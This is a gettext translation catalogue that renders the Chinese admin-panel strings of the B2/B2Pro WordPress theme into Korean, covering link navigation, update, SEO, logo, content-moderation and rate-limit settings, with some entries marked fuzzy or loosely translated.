#: User/settings.php:37
msgid "网址"
msgstr "URL"

#: Modules/Settings/Links.php:79 Modules/Settings/Links.php:80
msgid "网址导航"
msgstr "사이트 탐색"

#: Modules/Settings/Links.php:99
msgid "网址属性"
msgstr "URL 속성"

#: Modules/Settings/Links.php:107
msgid "站长ID"
msgstr "웹마스터 ID"

#: Modules/Settings/Links.php:110
msgid "请直接填写用户ID，没有留空即可"
msgstr "사용자 ID (일반적으로 관리자)를 직접 입력하십시오."

#: Modules/Settings/Links.php:117
msgid "请直接输入网址，记得带上 http"
msgstr "URL을 직접 입력하십시오. http를 가져와야 합니다."

#: Modules/Settings/Links.php:121
msgid "网址图标"
msgstr "URL 아이콘"

#: Modules/Settings/Links.php:196 Modules/Settings/Template.php:623
#, fuzzy, php-format
msgid "要显示的%s分类"
msgstr "홈페이지에 표시되는 문서 분류"

#: Modules/Settings/Links.php:200
#, php-format
msgid "请确保%s中有链接，否则此处不显示"
msgstr ""
"%s에 링크가 있는지 확인하십시오. 그렇지 않으면 여기에 표시되지 않습니다."

#: Modules/Settings/Links.php:204
#, php-format
msgid "是否包含子%s中的链接"
msgstr "하위 %s에 링크를 포함할지 여부"

#: Modules/Settings/Links.php:212
#, php-format
msgid ""
"如果此%s中有子%s，您可以选择是否显示子%s中的链接，注意，如果子%s特别多（大于"
"20个）可能会有性能问题。"
msgstr ""
"이 %s에 하위 %s가 있는 경우 하위 %s에 링크를 표시할지 여부를 선택할 수 있습니"
"다. 하위 %s(20개 이상)가 너무 많으면 성능 문제가 있을 수 있습니다."

#: Modules/Settings/Links.php:216 Modules/Settings/Taxonomies.php:871
#: Modules/Settings/Template.php:643 Modules/Templates/Widgets/Bookmark.php:75
msgid "点击跳转方式"
msgstr "점프하려면 클릭"

#: Modules/Settings/Links.php:220 Modules/Settings/Taxonomies.php:875
#: Modules/Settings/Template.php:647 Modules/Templates/Widgets/Bookmark.php:80
msgid "跳转到本站内页"
msgstr "이 사이트의 내부 페이지로 이동"

#: Modules/Settings/Links.php:221 Modules/Settings/Taxonomies.php:876
#: Modules/Settings/Template.php:648 Modules/Templates/Widgets/Bookmark.php:81
msgid "跳转到目标站点"
msgstr "대상 사이트로 이동"

#: Modules/Settings/Links.php:227 Modules/Settings/Taxonomies.php:882
#: Modules/Settings/Template.php:654
msgid "每行显示几个"
msgstr "라인 당 수량 표시"

#: Modules/Settings/Links.php:234 Modules/Settings/Template.php:661
#: Modules/Templates/Widgets/Bookmark.php:85
msgid "一共显示几个"
msgstr "총 여러 개 표시"

#: Modules/Settings/Links.php:241 Modules/Settings/Taxonomies.php:896
#: Modules/Settings/Template.php:668 Modules/Templates/Widgets/Bookmark.php:91
#: Modules/Templates/Widgets/HotInfomation.php:63
#: Modules/Templates/Widgets/Newsflashes.php:65
#: Modules/Templates/Widgets/Post.php:80
msgid "排序方法"
msgstr "정렬순서"

#: Modules/Settings/Links.php:245 Modules/Settings/Taxonomies.php:900
#: Modules/Settings/Template.php:672 Modules/Templates/Widgets/Bookmark.php:96
msgid "最新添加的排在前面"
msgstr "최신 추가 사항이 우선"

#: Modules/Settings/Links.php:246
#, fuzzy
#| msgid "最新添加的排在前面"
msgid "以往添加的排在前面"
msgstr "최신 추가 사항이 우선"

#: Modules/Settings/Links.php:247 Modules/Settings/Taxonomies.php:902
#: Modules/Settings/Template.php:674 Modules/Templates/Widgets/Bookmark.php:98
msgid "点赞最高的排在前面"
msgstr "가장 많은 좋아요를 받은 사람이 맨 위에 있습니다."

#: Modules/Settings/Links.php:253 Modules/Settings/Taxonomies.php:908
#: Modules/Settings/Template.php:680
msgid "显示哪些小部件"
msgstr "표시되는 위젯"

#: Modules/Settings/Links.php:257 Modules/Settings/Taxonomies.php:912
#: Modules/Settings/Template.php:684 Modules/Settings/Template.php:1120
#: Modules/Settings/Template.php:1234 Modules/Settings/Template.php:1324
#: Modules/Settings/Template.php:1377
msgid "模块标题"
msgstr "모듈 제목"

#: Modules/Settings/Links.php:258
#, php-format
msgid "子%s"
msgstr "아이 %s"

#: Modules/Settings/Links.php:259 Modules/Settings/Taxonomies.php:914
#: Modules/Settings/Template.php:686
msgid "更多按钮"
msgstr "더 많은 버튼"

#: Modules/Settings/Links.php:260 Modules/Settings/Taxonomies.php:563
#: Modules/Settings/Taxonomies.php:915 Modules/Settings/Template.php:687
#: Pages/link-register.php:28
msgid "图标"
msgstr "%s 아이콘"

#: Modules/Settings/Links.php:274
msgid "入驻设置"
msgstr "합의"

#: Modules/Settings/Links.php:279
#, fuzzy
#| msgid "申请入驻"
msgid "是否允许申请入驻"
msgstr "입학 신청"

#: Modules/Settings/Links.php:297
msgid "网站描述允许的最小字数"
msgstr "웹사이트 설명에 허용되는 최소 단어 수"

#: Modules/Settings/Links.php:301
msgid "网站描述需要最少输入多少个字，才允许发布"
msgstr "웹사이트 설명을 게시하는 데 필요한 최소 문자 수"

#: Modules/Settings/Main.php:122
#, fuzzy
msgid "设置防盗链了？请将当前域名加入到dogecloud的白名单中。"
msgstr ""
"도난 방지 체인을 설정하시겠습니까? 현재 도메인 이름을 dogecloud의 화이트리스"
"트에 추가하십시오."

#: Modules/Settings/Main.php:225
#, php-format
msgid "B2Pro 主题未激活，请先正确安装并%s激活主题%s后再使用"
msgstr ""
"B2Pro 테마가 활성화되지 않았습니다. 사용하기 전에 테마를 올바르게 설치하고 %s"
"활성화%s하십시오."

#: Modules/Settings/Main.php:243 Modules/Settings/Taxonomies.php:494
#, php-format
msgid "%s期数"
msgstr "%s문제 수"

#: Modules/Settings/Main.php:250
#, php-format
msgid "第%s期"
msgstr "주제: 제%s기"

#: Modules/Settings/Main.php:250
#, fuzzy, php-format
msgid "请设置一个%s期数"
msgstr "유형을 설정하십시오"

#: Modules/Settings/Main.php:280
msgid "距离上一个模块高度"
msgstr "이전 모듈의 높이"

#: Modules/Settings/Main.php:293
msgid "距离下一个模块高度"
msgstr "다음 모듈에서 높이"

#: Modules/Settings/Main.php:332 Modules/Templates/Archive.php:475
msgid "排序"
msgstr "정렬 기준"

#: Modules/Settings/Main.php:342
msgid "缺少排序，前台不显示"
msgstr "정렬 부족, 전경에 표시되지 않음"

#: Modules/Settings/Main.php:352 TempParts/single-answer.php:17
#, fuzzy
#| msgid "常见问题"
msgid "问题"
msgstr "질문이 만료되었습니다."

#: Modules/Settings/Main.php:353
msgid "答主"
msgstr "답변자"

#: Modules/Settings/Main.php:363
#, fuzzy
#| msgid "话题不存在"
msgid "问题不存在"
msgstr "주제가 없습니다."

#: Modules/Settings/Main.php:391
msgid "请先激活主题再导入数据"
msgstr "데이터를 가져오기 전에 테마를 활성화하세요."

#: Modules/Settings/Main.php:787 Modules/Settings/Main.php:795
#: Modules/Settings/Main.php:796
msgid "B2主题设置"
msgstr "B2 테마 설정"

#: Modules/Settings/Main.php:829
msgid "未安装扩展，请按照下面的方法进行安装"
msgstr "확장 프로그램이 설치되어 있지 않습니다. 다음 방법에 따라 설치하십시오."

#: Modules/Settings/Main.php:830 Modules/Settings/Main.php:861
#, fuzzy, php-format
msgid "1、打开您的php.ini文件（%s）"
msgstr ""
"1. php.ini 파일 ( %s)을 연 다음  %s를 php.ini 파일의 마지막 줄에 복사하여 저"
"장합니다."

#: Modules/Settings/Main.php:831
#, fuzzy, php-format
#| msgid "2、将%s复制到php.ini文件的最后一行保存"
msgid "2、将下面的代码复制到php.ini文件的最后一行保存：%s"
msgstr "2.  %s을 php.ini 파일의 마지막 줄에 복사하고 저장합니다."

#: Modules/Settings/Main.php:832
#, fuzzy
#| msgid "3、重启php"
msgid "3、重启php"
msgstr "3. PHP 다시 시작"

#: Modules/Settings/Main.php:833
#, fuzzy
#| msgid "4、刷新本页后激活"
msgid "4、刷新本页"
msgstr "4.이 페이지를 새로 고침 한 후 활성화"

#: Modules/Settings/Main.php:862
#, php-format
msgid ""
"2、php.ini底部找一下，如果以前添加过类似%s这样的代码，先将其删掉，如果没有就"
"下一步"
msgstr ""
"2, php.ini 하단에서 이전에 %s과 유사한 코드가 추가되었다면 먼저 삭제하고 다"
"음 단계에 추가되지 않았다면 삭제하세요!"

#: Modules/Settings/Main.php:863
#, fuzzy, php-format
#| msgid "2、将%s复制到php.ini文件的最后一行保存"
msgid "3、将下面的代码复制到php.ini文件的最后一行保存：%s"
msgstr "2.  %s을 php.ini 파일의 마지막 줄에 복사하고 저장합니다."

#: Modules/Settings/Main.php:864
#, fuzzy
#| msgid "3、重启php"
msgid "4、重启php"
msgstr "3. PHP 다시 시작"

#: Modules/Settings/Main.php:865
#, fuzzy
#| msgid "4、刷新本页后激活"
msgid "5、刷新本页"
msgstr "4.이 페이지를 새로 고침 한 후 활성화"

#: Modules/Settings/Main.php:954
msgid "感谢您使用B2主题"
msgstr "B2 테마를 사용해 주셔서 감사합니다"

#: Modules/Settings/Main.php:982
#, fuzzy
msgid "主题升级"
msgstr "테마 업그레이드"

#: Modules/Settings/Main.php:986
#, fuzzy
msgid "当前主题版本为："
msgstr "현재 테마 버전은 다음과 같습니다:"

#: Modules/Settings/Main.php:991
#, fuzzy
msgid "您的会员号是："
msgstr "회원 번호는 다음과 같습니다:"

#: Modules/Settings/Main.php:1005
#, fuzzy
msgid "检查更新"
msgstr "업데이트 확인"

#: Modules/Settings/Main.php:1008
#, fuzzy
msgid "点击升级到最新版"
msgstr "JWT 플러그인을 설치하고 최신 버전으로 업그레이드하십시오."

#: Modules/Settings/Main.php:1009
#, fuzzy
msgid "更新中，请等待完成"
msgstr "업데이트 진행 중, 완료될 때까지 기다려주세요."

#: Modules/Settings/Main.php:1017
msgid "设置项导出"
msgstr "설정 내보내기"

#: Modules/Settings/Main.php:1021
msgid "导出B2主题设置项"
msgstr "B2 테마 설정 내보내기"

#: Modules/Settings/Main.php:1024
#, php-format
msgid ""
"%s如果您的主题已经设置完毕，或者有其他重要的设置需要变更，建议及时导出.%s只限"
"B2主题的设置项和小工具，不包括文章、分类设置、订单、卡密、邀请码等数据%s"
msgstr ""
"%s 테마가 설정되었거나 변경해야하는 다른 중요한 설정이있는 경우 제 시간에 내"
"보내는 것이 좋습니다.  %s는 기사, 카테고리 설정, 주문, 카드 비밀번호, 초대 코"
"드를 제외한 B2 테마 설정 및 위젯으로 만 제한됩니다.  %s 데이터를 기다리는 중"

#: Modules/Settings/Main.php:1028
msgid "设置项导入"
msgstr "가져 오기 설정"

#: Modules/Settings/Main.php:1031
msgid "导入B2主题设置项"
msgstr "B2 테마 설정 가져 오기"

#: Modules/Settings/Main.php:1035
msgid "1、导入的设置项将会替换原有的设置项，请谨慎操作。导入的文件格式为.txt"
msgstr ""
"1. 가져온 설정 항목은 원래의 설정 항목을 대체하므로주의하여 작동하십시오. 가"
"져온 파일 형식은 .txt입니다."

#: Modules/Settings/Main.php:1038
#, fuzzy
#| msgid "2、如果您已有设置好的项目，请先导出备份一下。导入的文件格式为.txt"
msgid "2、如果您已有设置好的项目，请先导出备份一下。导出的文件格式为.txt"
msgstr ""
"2. 이미 프로젝트를 설정 한 경우 먼저 내보내고 백업하십시오. 가져온 파일 형식"
"은 .txt입니다."

#: Modules/Settings/Main.php:1044
msgid "请仔细阅读说明"
msgstr "지침을 주의 깊게 읽어주세요."

#: Modules/Settings/Menu.php:37
msgid "菜单形式"
msgstr "메뉴 형태"

#: Modules/Settings/Menu.php:41
msgid "下拉菜单"
msgstr "드롭 다운 메뉴"

#: Modules/Settings/Menu.php:42
msgid "列表菜单"
msgstr "목록 메뉴"

#: Modules/Settings/Menu.php:43
msgid "图片菜单"
msgstr "사진 메뉴"

#: Modules/Settings/Menu.php:44
msgid "分类菜单"
msgstr "카테고리 메뉴"

#: Modules/Settings/Menu.php:57
msgid "菜单颜色"
msgstr "메뉴 색상"

#: Modules/Settings/Menu.php:61
msgid "请选择菜单的颜色"
msgstr "메뉴 색상을 선택하세요"

#: Modules/Settings/Menu.php:65
msgid "菜单图片（图标）"
msgstr "메뉴 사진 (아이콘)"

#: Modules/Settings/Menu.php:68
msgid "请选择菜单图片（图标）,在选择图片菜单模式下将会显示在菜单中"
msgstr ""
"메뉴 사진 (아이콘)을 선택하세요, 사진 선택 메뉴 모드에서 메뉴에 표시됩니다"

#: Modules/Settings/Newsflashes.php:85
#, fuzzy, php-format
msgid "%s首页封面图片"
msgstr "뉴스 홈"

#: Modules/Settings/Newsflashes.php:96
#, fuzzy, php-format
msgid "%s首页描述"
msgstr "뉴스 레터 홈페이지 SEO 설명"

#: Modules/Settings/Newsflashes.php:99
#, fuzzy, php-format
msgid "显示在%s封面之上，%s标题之下，其他%s标签的封面图，请前往%s设置"
msgstr ""
"경고 표지 위, 경고 제목 아래, 다른 경고 태그의 표지 이미지에 표시됩니다. %s "
"설정으로 이동하세요."

#: Modules/Settings/Newsflashes.php:103
#, fuzzy, php-format
msgid "%s首页SEO标题"
msgstr "뉴스 레터 홈페이지 SEO 제목"

#: Modules/Settings/Newsflashes.php:124
#, fuzzy, php-format
msgid "发布%s待选标签"
msgstr "선택할 뉴스 레터를 게시하세요."

#: Modules/Settings/Newsflashes.php:127
#, fuzzy, php-format
msgid ""
"用户在发布%s的时候可以选择这些待选的标签，请直接输入%s标签的名称，多个标签用"
"英文逗号隔开"
msgstr ""
"사용자는 뉴스 레터를 게시 할 때 선택할 태그를 선택할 수 있습니다. 뉴스 레터 "
"태그의 이름을 직접 입력하세요. 여러 태그는 영문 쉼표로 구분됩니다."

#: Modules/Settings/Newsflashes.php:131
#, fuzzy, php-format
msgid "%s每页显示多少篇最新%s"
msgstr "페이지 당 표시되는 최신 경고 수"

#: Modules/Settings/Newsflashes.php:138
#, fuzzy, php-format
msgid "%s投票文字(利好)"
msgstr "뉴스 레터 투표 텍스트 (양호)"

#: Modules/Settings/Newsflashes.php:145
#, fuzzy, php-format
msgid "%s投票文字(利空)"
msgstr "투표 텍스트 표현 (나쁨)"

#: Modules/Settings/Newsflashes.php:159
#, fuzzy
#| msgid "是否允许发布"
msgid "是否允许用户发布"
msgstr "출금 허용 여부"

#: Modules/Settings/Newsflashes.php:167
#, fuzzy
msgid "如果关闭，则只有管理员和编辑可以发布"
msgstr "비공개인 경우 관리자와 편집자만 글을 게시할 수 있습니다."

#: Modules/Settings/Newsflashes.php:172
#, fuzzy
msgid "发布按钮文字"
msgstr "게시물 버튼 텍스트"

#: Modules/Settings/Newsflashes.php:176
#, fuzzy
msgid "发布按钮文字，如果为空，则使用默认文字"
msgstr "게시 버튼 텍스트가 비어 있으면 기본 텍스트 사용"

#: Modules/Settings/Newsflashes.php:180
msgid "哪些用户可以直接发布，不用审核"
msgstr "검토없이 직접 게시 할 수있는 사람"

#: Modules/Settings/Newsflashes.php:184
msgid ""
"建议只选择特定级别的用户，以免出现乱发广告的情况，除此之外，管理员和编辑默认"
"也不需要审核"
msgstr ""
"무작위 광고를 피하기 위해 특정 수준의 사용자 만 선택하는 것이 좋습니다. 또한 "
"관리자와 편집자는 기본적으로 검토 할 필요가 없습니다."

#: Modules/Settings/Normal.php:209
msgid "欢迎您来到本站！"
msgstr "이 사이트에 오신 것을 환영합니다!"

#: Modules/Settings/Normal.php:241 Modules/Settings/Template.php:182
msgid "综合"
msgstr "종합"

#: Modules/Settings/Normal.php:242
msgid "常规设置"
msgstr "일반 설정"

#: Modules/Settings/Normal.php:246
msgid "是否开启简洁模式"
msgstr "샌드 박스 모드 활성화 여부"

#: Modules/Settings/Normal.php:247
msgid ""
"如果您不需要站点有类似，登陆、注册、评论等交互功能，可以开启简洁模式，将只显"
"示文章，没有交互。"
msgstr ""
"사이트에 로그인, 등록 및 댓글과 같은 유사한 상호 작용 기능이 필요하지 않은 경"
"우 상호 작용없이 기사 만 표시하는 간결 모드를 켤 수 있습니다."

#: Modules/Settings/Normal.php:252
msgid "开启简洁模式"
msgstr "간결 모드 켜기"

#: Modules/Settings/Normal.php:253
msgid "关闭简洁模式"
msgstr "압축 모드 끄기"

#: Modules/Settings/Normal.php:272
msgid "开启主题自带缓存"
msgstr "테마의 자체 캐시 켜기"

#: Modules/Settings/Normal.php:273
#, fuzzy, php-format
msgid ""
"当您使用了redis 或者 memcached 这类数据缓存时，主题将自动对查询和计算量比较大"
"的代码进行结果的缓存%s实际使用过程中建议开启。%s调试主题，修改代码等情况下建"
"议关闭,修改完成即可开启（修改代码以后请在缓存插件中清空一下缓存）"
msgstr ""
"redis 또는 memcached와 같은 데이터 캐싱을 사용하는 경우 테마는 많은 양의 계산"
"으로 쿼리 및 코드의 결과를 자동으로 캐시하므로 실제 사용 중에 활성화하는 것"
"이 좋습니다. 테마 디버깅, 코드 수정 등의 경우  %s 종료를 권장하며, 수정 완료 "
"후 켤 수 있습니다. (코드 수정 후 캐시 플러그인에서 캐시를 지워주세요)"

#: Modules/Settings/Normal.php:285
#, fuzzy
#| msgid "开启主题自带缓存"
msgid "开启主题自带SEO"
msgstr "테마의 자체 캐시 켜기"

#: Modules/Settings/Normal.php:286
msgid "如果您需要使用某些SEO插件，请关闭主题自带的SEO功能，以免产生冲突"
msgstr ""
"특정 SEO 플러그인을 사용해야 하는 경우 충돌을 피하기 위해 테마의 자체 SEO 기"
"능을 끄세요."

#: Modules/Settings/Normal.php:298
msgid "图片LOGO（深色）"
msgstr "그림 로고 (어두운 색상)"

#: Modules/Settings/Normal.php:299
#, php-format
msgid ""
"某些顶部背景为白色的情况下使用，建议使用%s格式的图片，以适应高分辨率屏幕。%s"
"如果不设置图片LOGO，网站将显示下面设置的文字LOGO。"
msgstr ""
"상단 배경이 흰색 인 경우에는 고해상도 화면에 맞게  %s 형식의 그림을 사용하는 "
"것이 좋습니다.  %s 그림 로고를 설정하지 않으면 웹 사이트에 아래에 설정된 로"
"고 텍스트가 표시됩니다."

#: Modules/Settings/Normal.php:306 Modules/Settings/Normal.php:329
msgid "选择LOGO"
msgstr "로고 선택"

#: Modules/Settings/Normal.php:321
msgid "图片LOGO（浅色）"
msgstr "그림 로고 (밝은 색)"

#: Modules/Settings/Normal.php:322
#, php-format
msgid ""
"某些顶部透明的风格下使用，也会视频播放器右上角显示，建议使用%s格式的图片，以"
"适应高分辨率屏幕。%s如果不设置图片LOGO，网站将显示下面设置的文字LOGO。"
msgstr ""
"일부 상단 투명 스타일은 동영상 플레이어의 오른쪽 상단 모서리에도 표시됩니다. "
"고해상도 화면에 맞게 조정하려면  %s 형식의 사진을 사용하는 것이 좋습니다.  "
"%s 그림 로고를 설정하지 않으면 웹 사이트에 아래에 설정된 로고 텍스트가 표시됩"
"니다."

#: Modules/Settings/Normal.php:344
msgid "文字LOGO"
msgstr "텍스트 로고"

#: Modules/Settings/Normal.php:345
msgid "默认为您的站点名，您也可以自定义该名称，只在页面顶部显示。"
msgstr ""
"기본값은 사이트 이름이며 페이지 상단에만 표시되는 이름을 사용자 지정할 수도 "
"있습니다."

#: Modules/Settings/Normal.php:353
msgid "默认缩略图"
msgstr "기본 썸네일"

#: Modules/Settings/Normal.php:354
msgid ""
"可以设置多个默认缩略图，当您的文章没有指定缩略图，并且文章内部没有图片的时"
"候，随机显示这些缩略图。"
msgstr ""
"여러 개의 기본 미리보기 이미지를 설정할 수 있습니다. 기사에서 미리보기 이미지"
"를 지정하지 않고 기사 내부에 사진이없는 경우 이러한 미리보기 이미지가 무작위"
"로 표시됩니다."

#: Modules/Settings/Normal.php:369
msgid "视频播放器默认缩略图"
msgstr "비디오 플레이어 기본 미리보기 이미지"

#: Modules/Settings/Normal.php:370
msgid "当您未设置视频封面的时候默认显示此封面。"
msgstr "비디오 커버를 설정하지 않은 경우이 커버가 기본적으로 표시됩니다."

#: Modules/Settings/Normal.php:392
msgid "弹窗背景图"
msgstr "팝업 배경 이미지"

#: Modules/Settings/Normal.php:393
msgid "登陆、注册、支付等弹窗顶部有一个背景图片，您可以在此更换此图片。"
msgstr ""
"팝업창 상단에 로그인, 등록, 결제 등을위한 배경 그림이 있습니다. 여기에서이 그"
"림을 변경할 수 있습니다."

#: Modules/Settings/Normal.php:415
#, fuzzy
msgid "网站代币符号"
msgstr "웹사이트 토큰 심볼"

#: Modules/Settings/Normal.php:416
#, fuzzy, php-format
msgid "网站的代币符号，默认%s。"
msgstr ""
"웹 사이트에 돈이 포함 된 경우 표시되는 통화 기호입니다. 기본값은  %s입니다."

#: Modules/Settings/Normal.php:424
#, fuzzy
msgid "网站货币名称"
msgstr "웹 사이트 통화 기호"

#: Modules/Settings/Normal.php:425
#, fuzzy, php-format
msgid "比如%s等，或者其他您觉得符合您站点气质的名称。"
msgstr "%s 등 또는 사이트의 성향에 맞는 다른 이름."

#: Modules/Settings/Normal.php:425
#, fuzzy
msgid "代币"
msgstr "토큰"

#: Modules/Settings/Normal.php:425
msgid "余额"
msgstr "잔액"

#: Modules/Settings/Normal.php:433
msgid "标题连接符"
msgstr "제목 링크"

#: Modules/Settings/Normal.php:434
#, php-format
msgid "标题与描述之间的分隔符，默认%s。"
msgstr "제목과 설명 사이의 구분 기호입니다. 기본값은  %s입니다."

#: Modules/Settings/Normal.php:442
msgid "标题连接符前后是否去掉空格"
msgstr "제목 커넥터 앞뒤의 공백을 제거할지 여부"

#: Modules/Settings/Normal.php:443
msgid ""
"一些朋友的原始数据中是没有连接符的，此功能为了保留原始的标题格式，以免被SEO降"
"权。"
msgstr ""
"일부 친구들은 원시 데이터에 합성이 없는데, 이 기능은 원래 헤더 형식을 유지하"
"여 SEO에 의해 다운그레이드되지 않도록 하기 위해 고안된 기능입니다."

#: Modules/Settings/Normal.php:447
msgid "保留空格"
msgstr "공백 유지"

#: Modules/Settings/Normal.php:448
msgid "去掉空格"
msgstr "공백을 제거합니다."

#: Modules/Settings/Normal.php:455
msgid "分类目录是否去掉category标签"
msgstr "카테고리에서 카테고리 태그를 제거할지 여부"

#: Modules/Settings/Normal.php:456
#, php-format
msgid ""
"如果您之前的分类链接里面有%s标签，此时去掉可能影响之前的收录。%s设置完成以"
"后，请重新保存一下固定链接"
msgstr ""
"이전 카테고리 링크에  %s 태그가있는 경우 지금 제거하면 이전 포함에 영향을 미"
"칠 수 있습니다.  %s 설정 후 영구 링크를 다시 저장하십시오."

#: Modules/Settings/Normal.php:461
msgid "去掉category"
msgstr "카테고리 제거"

#: Modules/Settings/Normal.php:462
msgid "保留category"
msgstr "카테고리 유지"

#: Modules/Settings/Normal.php:468
msgid "首页SEO关键词"
msgstr "홈페이지 SEO 키워드"

#: Modules/Settings/Normal.php:469
#, php-format
msgid "建议使用英文的%s隔开，一般3-5个关键词即可，多了会有堆砌嫌疑。"
msgstr ""
"구분하기 위해 영어로  %s를 사용하는 것이 좋습니다. 일반적으로 3-5 개의 키워드"
"로 충분합니다. 키워드가 더 많으면 쌓일 가능성이 있습니다."

#: Modules/Settings/Normal.php:477
msgid "首页SEO描述"
msgstr "홈페이지 SEO 설명"

#: Modules/Settings/Normal.php:478
msgid "描述你站点的主营业务，一般不超过200个字。"
msgstr "일반적으로 200 자 이하로 사이트의 주요 비즈니스를 설명합니다."

#: Modules/Settings/Normal.php:486
msgid "头部HTML标签"
msgstr "헤드 HTML 태그"

#: Modules/Settings/Normal.php:487
#, php-format
msgid ""
"你可以添加站点的%s等标签，通常情况下，这里是用来放置第三方台验证站点所有权时"
"使用的。"
msgstr ""
"사이트의  %s와 같은 태그를 추가 할 수 있습니다. 일반적으로 사이트 소유권을 확"
"인하기 위해 타사 스테이션을 배치하는 데 사용됩니다."

#: Modules/Settings/Normal.php:496
msgid "底部HTML标签"
msgstr "하단의 HTML 태그"

#: Modules/Settings/Normal.php:497
#, php-format
msgid ""
"你可以添加站点的%s等标签，通常情况下，这里是用来加载额外的JS、css文件，或者放"
"置统计代码。"
msgstr ""
"사이트의  %s와 같은 태그를 추가 할 수 있습니다. 일반적으로 추가 JS, css 파일"
"을로드하거나 통계 코드를 배치하는 데 사용됩니다."

#: Modules/Settings/Normal.php:506
msgid "名称及连接"
msgstr "이름 및 연결"

#: Modules/Settings/Normal.php:515
msgid "【专题】名称"
msgstr "주제 제목"

#: Modules/Settings/Normal.php:522
msgid "【专题】连接别名"
msgstr "【특집】 별칭 연결"

#: Modules/Settings/Normal.php:530
msgid "【圈子】名称"
msgstr "【원】이름"

#: Modules/Settings/Normal.php:537
msgid "【圈主】名称"
msgstr "【주님】이름"

#: Modules/Settings/Normal.php:544
msgid "【圈友】名称"
msgstr "【서클 프렌즈】이름"

#: Modules/Settings/Normal.php:551
msgid "【圈子】连接别名"
msgstr "【원】 별칭 연결"

#: Modules/Settings/Normal.php:559
msgid "【商铺】名称"
msgstr "【가게】이름"

#: Modules/Settings/Normal.php:566
msgid "【商铺】连接别名"
msgstr "【숍】커넥트 앨리어스"

#: Modules/Settings/Normal.php:574
msgid "【快讯】名称"
msgstr "【뉴스】이름"

#: Modules/Settings/Normal.php:581
msgid "【快讯】连接别名"
msgstr "【뉴스】커넥트 앨리어스"

#: Modules/Settings/Normal.php:589
msgid "【文档】名称"
msgstr "【파일 이름"

#: Modules/Settings/Normal.php:596
msgid "【文档】连接别名"
msgstr "[문서] 연결 별칭"

#: Modules/Settings/Normal.php:604
msgid "【公告】名称"
msgstr "【공지】이름"

#: Modules/Settings/Normal.php:611
msgid "【公告】连接别名"
msgstr "[공지] 연결 별칭"

#: Modules/Settings/Normal.php:619
msgid "【网址导航】名称"
msgstr "【웹사이트 탐색】이름"

#: Modules/Settings/Normal.php:626
msgid "【网址导航】连接别名"
msgstr "【원】 별칭 연결"

#: Modules/Settings/Normal.php:649
msgid "【供求信息】名称"
msgstr "【수급정보】이름"

#: Modules/Settings/Normal.php:656
msgid "【供求信息】连接别名"
msgstr "【뉴스】커넥트 앨리어스"

#: Modules/Settings/Normal.php:663
msgid "【供求信息】中的<供>自定义名称"
msgstr "<Supply> [수급정보]의 커스텀 명칭"

#: Modules/Settings/Normal.php:670
msgid "【供求信息】中的<求>自定义名称"
msgstr "<수요> [수급 정보]의 사용자 지정 이름"

#: Modules/Settings/Normal.php:678
msgid "【问答】名称"
msgstr "[Q&A] 이름"

#: Modules/Settings/Normal.php:685
msgid "【问答板块】名称"
msgstr "[Q&A 게시판] 이름"

#: Modules/Settings/Normal.php:692
msgid "【问题回答】名称"
msgstr "[질문에 대한 답변] 이름"

#: Modules/Settings/Normal.php:699
#, fuzzy
#| msgid "【专题】连接别名"
msgid "【问答】连接别名"
msgstr "【특집】 별칭 연결"

#: Modules/Settings/Normal.php:707
#, fuzzy
#| msgid "安全设置"
msgid "安全"
msgstr "보안 설정"

#: Modules/Settings/Normal.php:715
msgid "是否开启百度文本审查功能"
msgstr "Baidu 텍스트 검토 기능 활성화 여부"

#: Modules/Settings/Normal.php:717
#, php-format
msgid ""
"站点中所有用户需要输入的文本都将经过AI文本审查功能进行过滤，避免涉黄、涉敏"
"感、涉广告等违规内容的发布。%s1、请前往%s百度AI开放平台%s开通账户。%s2、控制"
"面板的【内容审核】中创建应用，只勾选内容审核相关的。%s3、将生成的appid，API "
"Key，Secret Key填入下方。%s免费用户拥有5万次的免费API调用，每秒并发2QPS"
msgstr ""
"사용자가 사이트에 입력해야하는 모든 텍스트는 AI 텍스트 검토 기능에 의해 필터"
"링되어 포르노, 민감성, 광고와 같은 불법 콘텐츠의 게시를 방지합니다.  %s1,  "
"%s Baidu AI 오픈 플랫폼  %s로 이동하여 계정을 만드십시오.  %s2, 제어판의 [컨"
"텐츠 감사]에서 애플리케이션을 생성하고 관련 컨텐츠 감사 만 확인하십시오.  "
"%s3. 아래에 생성 된 appid, API 키 및 비밀 키를 입력하십시오.  %s의 무료 사용"
"자는 50,000 개의 무료 API 호출 (초당 2QPS)을 받았습니다."

#: Modules/Settings/Normal.php:736
msgid "AppId"
msgstr "AppId"

#: Modules/Settings/Normal.php:737
msgid "百度智能云控制面板->内容审核->你创建的应用->AppId"
msgstr ""
"Baidu 스마트 클라우드 제어판-> 콘텐츠 감사-> 생성 한 애플리케이션-> AppId"

#: Modules/Settings/Normal.php:744
msgid "API Key"
msgstr "API 키"

#: Modules/Settings/Normal.php:745
msgid "百度智能云控制面板->内容审核->你创建的应用->API Key"
msgstr ""
"Baidu 스마트 클라우드 제어판-> 콘텐츠 감사-> 생성 한 애플리케이션-> API 키"

#: Modules/Settings/Normal.php:752
msgid "Secret Key"
msgstr "비밀 키"

#: Modules/Settings/Normal.php:753
msgid "百度智能云控制面板->内容审核->你创建的应用->Secret Key"
msgstr "Baidu 스마트 클라우드 제어판-> 콘텐츠 감사-> 생성 한 앱-> 비밀 키"

#: Modules/Settings/Normal.php:761
#, php-format
msgid ""
"%s限制操作频次（需要开启了redis 或者 memcached）%s%s此功能用来防止某些人通过"
"接口批量对数据进行操作，比如批量发送垃圾信息，批量下载，批量硬解密码等操"
"作%s%s如果您不知道下面的设置项是什么意思，请保持默认即可%s"
msgstr ""
"%s 제한 작업 빈도  %s  %s이 기능은 일부 사용자가 다음을 모르는 경우 스팸 일"
"괄 전송, 일괄 다운로드, 일괄 하드 복호화 및 기타 작업  %s  %s과 같은 인터페이"
"스를 통해 일괄 데이터 작업을 수행하는 것을 방지하는 데 사용됩니다. 설정 항목"
"이 의미하는 바는 기본  %s를 유지하십시오."

#: Modules/Settings/Normal.php:762
msgid "记录时间段"
msgstr "기록 기간"

#: Modules/Settings/Normal.php:763
msgid ""
"记录这个时间段的用户操作，如果这个时间段用户操作次数超过某个数值，将会触发限"
"制。请直接填写数字，比如记录10秒内的操作，直接填写数字10"
msgstr ""
"이 기간 동안 사용자 작업을 기록합니다.이 기간 동안 사용자 작업 수가 특정 값"
"을 초과하면 제한이 트리거됩니다. 숫자를 직접 입력하십시오. 예를 들어 10 초 이"
"내에 작업을 기록하고 숫자 10을 직접 입력하십시오."

#: Modules/Settings/Normal.php:770
msgid "操作频次"
msgstr "작동 빈도"

